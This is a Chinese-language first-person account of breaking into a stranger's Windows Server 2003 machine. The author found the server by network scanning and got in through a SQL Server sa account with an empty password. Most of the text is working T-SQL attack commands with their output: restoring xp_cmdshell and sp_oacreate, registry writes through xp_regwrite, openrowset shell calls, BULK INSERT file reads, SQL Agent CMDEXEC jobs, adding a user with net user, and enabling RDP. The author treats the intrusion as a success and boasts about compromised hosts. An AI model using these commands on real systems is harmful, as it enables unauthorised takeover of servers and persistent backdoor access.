昨晚没关机 扫了一夜 扫到一个3389,而且开着1433,且1433的sa账户是空口令。
遂大喜。
第一步:尝试xp_cmdshell
xp_cmdshell
'
dir c:/ >> r.txt
'
提示找不到xplog70.dll,于是我恢复一下xp_cmdshell试试
exec
sp_dropextendedproc
'
xp_cmdshell
'
dbcc
addextendedproc (
'
xp_cmdshell
'
,
'
xplog70.dll
'
)
仍然提示找不到xplog70.dll,看来是管理员把该DLL删除了。
第二步:尝试xp_oacreate
declare
@shell
int
exec
sp_oacreate
'
wscript.shell
'
,
@shell
output
exec
sp_oamethod
@shell
,
'
run
'
,
null
,
'
c:\windows\system32\cmd.exe /c net user lee asdf123 /add
'
--
结果提示无法找到odsole70.dll,于是恢复sp_oacreate试试
drop
procedure
sp_oacreate
dbcc
addextendedproc (
'
sp_oacreate
'
,
'
odsole70.dll
'
)
仍然提示找不到odsole70.dll,无奈,管理员将这个dll也删除了。
第三步:尝试xp_regwrite (使用xp_regwrite修改注册表,开启沙盒模式)
dbcc
addextendedproc (
'
xp_regwrite
'
,
'
xpstar.dll
'
)
exec
xp_regwrite
'
HKEY_LOCAL_MACHINE
'
,
'
SoftWare\Microsoft\Jet\4.0\Engine
'
,
'
SandBoxMode
'
,
'
REG_DWORD
'
,
1
成功执行了 噢YEAH。
然后通过openrowset引用microsoft.jet引擎,执行dos命令,c:\windows\system32\ias\ias.mdb这个数据库文件是xp/2003默认带的,可以通过dir /a /s *.mdb 查看当前系统的mdb文件。
select
*
from
openrowset
(
'
microsoft.jet.oledb.4.0
'
,
'
database=c:\windows\system32\ias\ias.mdb
'
,
'
select shell("cmd.exe /c dir c:\ >> test.txt")
'
)
提示下面这个错误,不知道为什么,但是可以证明的是microsoft.jet.oledb.4.0是可用的,否则会提示找不到microsoft.jet.oledb.4.0。
初步分析是ias.mdb被管理员删除。
[
OLE/DB provider returned message: 找不到可安装的 ISAM。
]
OLE DB 错误跟踪[OLE
/
DB Provider
'
microsoft.jet.oledb.4.0
'
IDBInitialize::Initialize returned
0x80004005
: ]。
Msg
7399
,
Level
16
, State
1
, Line
1
OLE DB 提供程序
'
microsoft.jet.oledb.4.0
'
报错。
为了证实ias.mdb被管理员删除,于是通过BULK执行该命令查看ias.mdb是否存在。
drop
table
[
clee
]
CREATE
TABLE
[
clee
]
(ResultTxt
nvarchar
(
1024
)
NULL
)
BULK
INSERT
[
clee
]
FROM
'
c:\windows\system32\ias\ias.mdb
'
WITH
(KEEPNULLS)
insert
into
[
clee
]
values
(
'
g_over
'
);
Alter
Table
[
clee
]
add
id
int
NOT
NULL
IDENTITY
(
1
,
1
)
select
*
from
[
clee
]
返回如下提示,证实了我的想法,ias.mdb果然被变态的管理员删除了,真搞不懂安全设置可以考虑这么周到的管理员竟然会给sa留下一个空口令。
Msg
4860
,
Level
16
, State
1
, Line
3
未能进行大容量插入。文件
'
c:\windows\system32\ias\ias.mdb
'
不存在。
不过,得到该提示说明BULK是可以使用的,我们是可以读取磁盘的文件的。
于是我看了下boot.ini文件
drop
table
[
clee
]
CREATE
TABLE
[
clee
]
(ResultTxt
nvarchar
(
1024
)
NULL
)
BULK
INSERT
[
clee
]
FROM
'
c:\boot.ini
'
WITH
(KEEPNULLS)
insert
into
[
clee
]
values
(
'
g_over
'
);
Alter
Table
[
clee
]
add
id
int
NOT
NULL
IDENTITY
(
1
,
1
)
select
*
from
[
clee
]
得到如下结果
multi(
0
)
disk
(
0
)rdisk(
0
)partition(
1
)\WINDOWS
=
"Windows Server
2003
, Enterprise"
/
fastdetect
/
NoExecute
=
OptOut
说明是2003企业版的。
第四步 启动SQLSERVERAGENT 通过JOB执行cmd
抱着试一试的心态,我启动SqlserverAgent
exec
master.dbo.xp_servicecontrol
'
start
'
,
'
SQLSERVERAGENT
'
竟然提示服务启动成功,这下终于可以执行dos命令了。
接着添加执行cmd命令的JOB。
use
msdb
exec
sp_delete_job
NULL
,
'
x
'
exec
sp_add_job
'
x
'
exec
sp_add_jobstep
NULL
,
'
x
'
,
NULL
,
1
,
'
CMDEXEC
'
,
'
cmd /c dir c:\ > c:\a.txt
'
exec
sp_add_jobserver
NULL
,
'
x
'
,
@@servername
exec
sp_start_job
'
x
'
这里执行dir列目录命令,列出c盘根目录下的文件,将结果保存到a.txt
然后通过BULK查看a.txt中的结果。
drop
table
[
clee
]
CREATE
TABLE
[
clee
]
(ResultTxt
nvarchar
(
1024
)
NULL
)
BULK
INSERT
[
clee
]
FROM
'
c:\a.txt
'
WITH
(KEEPNULLS)
insert
into
[
clee
]
values
(
'
g_over
'
);
Alter
Table
[
clee
]
add
id
int
NOT
NULL
IDENTITY
(
1
,
1
)
select
*
from
[
clee
]
OK 顺利看到结果,接下来运行net user,加上账户后,使用xp_regwrite通过更改注册表打开3389,然后连上可爱的3389吧。
xp_regwrite
'
HKEY_LOCAL_MACHINE
'
,
'
SYSTEM\CurrentControlSet\Control\Terminal Server
'
,
'
fDenyTSConnections
'
,
'
REG_DWORD
'
,
0
;
--
=======================================================
======================= 华丽的分割线 =======================
=======================================================
后记:
这次入侵成功的关键点第一个是管理员将sa设置为空口令,而且sqlserveragent可以启动,这样就可以通过job来执行cmd命令并结合bulk查看执行结果了。
连上3389后我才知道,xplog70.dll和odsole70.dll 还有ias目录下两个可爱的mdb文件,不是管理员删除的,是另外一个同行拿到3389后,为了不让该肉鸡沦落到他人手中而删掉的,fuck! 我从来不干这种事,一向都是有鸡同享 -。-